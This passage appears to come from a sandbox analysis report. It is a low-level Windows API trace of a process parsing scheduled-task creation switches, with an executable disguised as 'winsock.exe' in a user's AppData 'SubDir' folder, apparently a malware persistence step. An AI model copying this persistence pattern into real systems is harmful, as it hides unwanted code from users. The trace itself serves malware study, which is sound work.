_memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|d|") returned 3 [0163.651] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.651] lstrlenW (lpString="|d|") returned 3 [0163.651] lstrlenW (lpString="|tr|") returned 4 [0163.651] RtlRestoreLastWin32Error () returned 0x490 [0163.651] lstrlenW (lpString="m") returned 1 [0163.651] lstrlenW (lpString="m") returned 1 [0163.651] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] lstrlenW (lpString="tr") returned 2 [0163.651] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.651] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|m|") returned 3 [0163.652] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.652] lstrlenW (lpString="|m|") returned 3 [0163.652] lstrlenW (lpString="|tr|") returned 4 [0163.652] RtlRestoreLastWin32Error () returned 0x490 [0163.652] lstrlenW (lpString="i") returned 1 [0163.652] lstrlenW (lpString="i") returned 1 [0163.652] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.652] lstrlenW (lpString="tr") returned 2 [0163.652] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.652] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|i|") returned 3 [0163.652] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.652] lstrlenW (lpString="|i|") returned 3 [0163.652] lstrlenW (lpString="|tr|") returned 4 [0163.652] RtlRestoreLastWin32Error () returned 0x490 [0163.652] lstrlenW (lpString="tn") returned 2 [0163.652] lstrlenW (lpString="tn") returned 2 [0163.652] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.652] lstrlenW (lpString="tr") returned 2 [0163.652] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.652] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.652] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.652] lstrlenW (lpString="|tn|") returned 4 [0163.652] lstrlenW (lpString="|tr|") returned 4 [0163.652] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0163.652] RtlRestoreLastWin32Error () returned 0x490 [0163.652] lstrlenW (lpString="tr") returned 2 [0163.652] lstrlenW (lpString="tr") returned 2 [0163.652] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.653] lstrlenW (lpString="tr") returned 2 [0163.653] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.653] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.653] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.653] lstrlenW (lpString="|tr|") returned 4 [0163.653] lstrlenW (lpString="|tr|") returned 4 [0163.653] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.653] lstrlenW (lpString="-/") returned 2 [0163.653] StrChrIW (lpStart="-/", wMatch=0x47f0043) returned 0x0 [0163.653] RtlRestoreLastWin32Error () returned 0x490 [0163.653] RtlRestoreLastWin32Error () returned 0x490 [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.653] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", wMatch=0x3a) returned=":\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" [0163.653] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.653] _memicmp (_Buf1=0x42e7460, _Buf2=0x232708, _Size=0x7) returned 0 [0163.653] _memicmp (_Buf1=0x42eae28, _Buf2=0x232708, _Size=0x7) returned 0 [0163.653] RtlRestoreLastWin32Error () returned 0x7a [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] lstrlenW (lpString="C") returned 1 [0163.653] RtlRestoreLastWin32Error () returned 0x490 [0163.653] RtlRestoreLastWin32Error () returned 0x0 [0163.653] _memicmp (_Buf1=0x42eab40, _Buf2=0x232708, _Size=0x7) returned 0 [0163.653] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.654] GetProcessHeap () returned 0x42e0000 [0163.654] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42eabd0) returned 1 [0163.654] GetProcessHeap () returned 0x42e0000 [0163.654] RtlReAllocateHeap (Heap=0x42e0000, Flags=0xc, Ptr=0x42eabd0, Size=0x72) returned 0x42ebcc0 [0163.654] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.654] lstrlenW (lpString=" \x09") returned 2 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x4a) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x58) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.654] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0163.655] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.656] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0163.656] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0163.656] GetLastError () returned 0x0 [0163.656] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.656] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe") returned 56 [0163.656] RtlRestoreLastWin32Error () returned 0x0 [0163.656] RtlRestoreLastWin32Error () returned 0x0 [0163.656] lstrlenW (lpString="/rl") returned 3 [0163.656] lstrlenW (lpString="-/") returned 2 [0163.656] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.656] lstrlenW (lpString="create") returned 6 [0163.656] lstrlenW (lpString="create") returned 6 [0163.656] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.656] lstrlenW (lpString="rl") returned 2 [0163.656] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.656] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.656] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.656] lstrlenW (lpString="|create|") returned 8 [0163.656] lstrlenW (lpString="|rl|") returned 4 [0163.656] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0163.656] RtlRestoreLastWin32Error () returned 0x490 [0163.656] lstrlenW (lpString="?") returned 1 [0163.656] lstrlenW (lpString="?") returned 1 [0163.656] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.656] lstrlenW (lpString="rl") returned 2 [0163.656] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.656] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|?|") returned 3 [0163.656] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.657] lstrlenW (lpString="|?|") returned 3 [0163.657] lstrlenW (lpString="|rl|") returned 4 [0163.657] RtlRestoreLastWin32Error () returned 0x490 [0163.657] lstrlenW (lpString="s") returned 1 [0163.657] lstrlenW (lpString="s") returned 1 [0163.657] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.657] lstrlenW (lpString="rl") returned 2 [0163.657] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.657] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|s|") returned 3 [0163.657] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.657] lstrlenW (lpString="|s|") returned 3 [0163.657] lstrlenW (lpString="|rl|") returned 4 [0163.657] RtlRestoreLastWin32Error () returned 0x490 [0163.657] lstrlenW (lpString="u") returned 1 [0163.657] lstrlenW (lpString="u") returned 1 [0163.657] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.657] lstrlenW (lpString="rl") returned 2 [0163.657] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.657] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|u|") returned 3 [0163.658] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.658] lstrlenW (lpString="|u|") returned 3 [0163.658] lstrlenW (lpString="|rl|") returned 4 [0163.658] RtlRestoreLastWin32Error () returned 0x490 [0163.658] lstrlenW (lpString="p") returned 1 [0163.658] lstrlenW (lpString="p") returned 1 [0163.658] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.658] lstrlenW (lpString="rl") returned 2 [0163.658] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.658] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|p|") returned 3 [0163.658] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.658] lstrlenW (lpString="|p|") returned 3 [0163.658] lstrlenW (lpString="|rl|") returned 4 [0163.658] RtlRestoreLastWin32Error () returned 0x490 [0163.658] lstrlenW (lpString="ru") returned 2 [0163.658] lstrlenW (lpString="ru") returned 2 [0163.658] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.658] lstrlenW (lpString="rl") returned 2 [0163.658] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.658] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ru|") returned 4 [0163.658] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.658] lstrlenW (lpString="|ru|") returned 4 [0163.658] lstrlenW (lpString="|rl|") returned 4 [0163.658] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0163.658] RtlRestoreLastWin32Error () returned 0x490 [0163.658] lstrlenW (lpString="rp") returned 2 [0163.658] lstrlenW (lpString="rp") returned 2 [0163.659] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] lstrlenW (lpString="rl") returned 2 [0163.659] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rp|") returned 4 [0163.659] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.659] lstrlenW (lpString="|rp|") returned 4 [0163.659] lstrlenW (lpString="|rl|") returned 4 [0163.659] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0163.659] RtlRestoreLastWin32Error () returned 0x490 [0163.659] lstrlenW (lpString="sc") returned 2 [0163.659] lstrlenW (lpString="sc") returned 2 [0163.659] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] lstrlenW (lpString="rl") returned 2 [0163.659] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.659] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.659] lstrlenW (lpString="|sc|") returned 4 [0163.659] lstrlenW (lpString="|rl|") returned 4 [0163.659] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0163.659] RtlRestoreLastWin32Error () returned 0x490 [0163.659] lstrlenW (lpString="mo") returned 2 [0163.659] lstrlenW (lpString="mo") returned 2 [0163.659] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] lstrlenW (lpString="rl") returned 2 [0163.659] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.659] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|mo|") returned 4 [0163.660] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.660] lstrlenW (lpString="|mo|") returned 4 [0163.660] lstrlenW (lpString="|rl|") returned 4 [0163.660] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0163.660] RtlRestoreLastWin32Error () returned 0x490 [0163.660] lstrlenW (lpString="d") returned 1 [0163.660] lstrlenW (lpString="d") returned 1 [0163.660] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.660] lstrlenW (lpString="rl") returned 2 [0163.660] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.660] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|d|") returned 3 [0163.660] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.660] lstrlenW (lpString="|d|") returned 3 [0163.660] lstrlenW (lpString="|rl|") returned 4 [0163.660] RtlRestoreLastWin32Error () returned 0x490 [0163.660] lstrlenW (lpString="m") returned 1 [0163.660] lstrlenW (lpString="m") returned 1 [0163.660] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.660] lstrlenW (lpString="rl") returned 2 [0163.660] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.660] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|m|") returned 3 [0163.660] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.660] lstrlenW (lpString="|m|") returned 3 [0163.660] lstrlenW (lpString="|rl|") returned 4 [0163.660] RtlRestoreLastWin32Error () returned 0x490 [0163.660] lstrlenW (lpString="i") returned 1 [0163.660] lstrlenW (lpString="i") returned 1 [0163.660] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] lstrlenW (lpString="rl") returned 2 [0163.661] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|i|") returned 3 [0163.661] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.661] lstrlenW (lpString="|i|") returned 3 [0163.661] lstrlenW (lpString="|rl|") returned 4 [0163.661] RtlRestoreLastWin32Error () returned 0x490 [0163.661] lstrlenW (lpString="tn") returned 2 [0163.661] lstrlenW (lpString="tn") returned 2 [0163.661] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] lstrlenW (lpString="rl") returned 2 [0163.661] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.661] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.661] lstrlenW (lpString="|tn|") returned 4 [0163.661] lstrlenW (lpString="|rl|") returned 4 [0163.661] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0163.661] RtlRestoreLastWin32Error () returned 0x490 [0163.661] lstrlenW (lpString="tr") returned 2 [0163.661] lstrlenW (lpString="tr") returned 2 [0163.661] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] lstrlenW (lpString="rl") returned 2 [0163.661] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.661] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.661] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.662] lstrlenW (lpString="|tr|") returned 4 [0163.662] lstrlenW (lpString="|rl|") returned 4 [0163.662] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0163.662] RtlRestoreLastWin32Error () returned 0x490 [0163.662] lstrlenW (lpString="st") returned 2 [0163.662] lstrlenW (lpString="st") returned 2 [0163.662] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.662] lstrlenW (lpString="rl") returned 2 [0163.662] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.662] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|st|") returned 4 [0163.662] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.662] lstrlenW (lpString="|st|") returned 4 [0163.662] lstrlenW (lpString="|rl|") returned 4 [0163.662] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0163.662] RtlRestoreLastWin32Error () returned 0x490 [0163.662] lstrlenW (lpString="sd") returned 2 [0163.662] lstrlenW (lpString="sd") returned 2 [0163.662] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.662] lstrlenW (lpString="rl") returned 2 [0163.662] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.662] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sd|") returned 4 [0163.662] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.662] lstrlenW (lpString="|sd|") returned 4 [0163.662] lstrlenW (lpString="|rl|") returned 4 [0163.662] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0163.662] RtlRestoreLastWin32Error () returned 0x490 [0163.662] lstrlenW (lpString="ed") returned 2 [0163.663] lstrlenW (lpString="ed") returned 2 [0163.663] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] lstrlenW (lpString="rl") returned 2 [0163.663] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ed|") returned 4 [0163.663] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.663] lstrlenW (lpString="|ed|") returned 4 [0163.663] lstrlenW (lpString="|rl|") returned 4 [0163.663] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0163.663] RtlRestoreLastWin32Error () returned 0x490 [0163.663] lstrlenW (lpString="it") returned 2 [0163.663] lstrlenW (lpString="it") returned 2 [0163.663] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] lstrlenW (lpString="rl") returned 2 [0163.663] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|it|") returned 4 [0163.663] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.663] lstrlenW (lpString="|it|") returned 4 [0163.663] lstrlenW (lpString="|rl|") returned 4 [0163.663] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0163.663] RtlRestoreLastWin32Error () returned 0x490 [0163.663] lstrlenW (lpString="et") returned 2 [0163.663] lstrlenW (lpString="et") returned 2 [0163.663] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] lstrlenW (lpString="rl") returned 2 [0163.663] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.663] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|et|") returned 4 [0163.664] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.664] lstrlenW (lpString="|et|") returned 4 [0163.664] lstrlenW (lpString="|rl|") returned 4 [0163.664] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0163.664] RtlRestoreLastWin32Error () returned 0x490 [0163.664] lstrlenW (lpString="k") returned 1 [0163.664] lstrlenW (lpString="k") returned 1 [0163.664] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.664] lstrlenW (lpString="rl") returned 2 [0163.664] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.664] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|k|") returned 3 [0163.664] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.664] lstrlenW (lpString="|k|") returned 3 [0163.664] lstrlenW (lpString="|rl|") returned 4 [0163.664] RtlRestoreLastWin32Error () returned 0x490 [0163.664] lstrlenW (lpString="du") returned 2 [0163.664] lstrlenW (lpString="du") returned 2 [0163.664] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.664] lstrlenW (lpString="rl") returned 2 [0163.664] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.664] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|du|") returned 4 [0163.664] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.664] lstrlenW (lpString="|du|") returned 4 [0163.664] lstrlenW (lpString="|rl|") returned 4 [0163.664] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0163.664] RtlRestoreLastWin32Error () returned 0x490 [0163.664] lstrlenW (lpString="ri") returned 2 [0163.665] lstrlenW 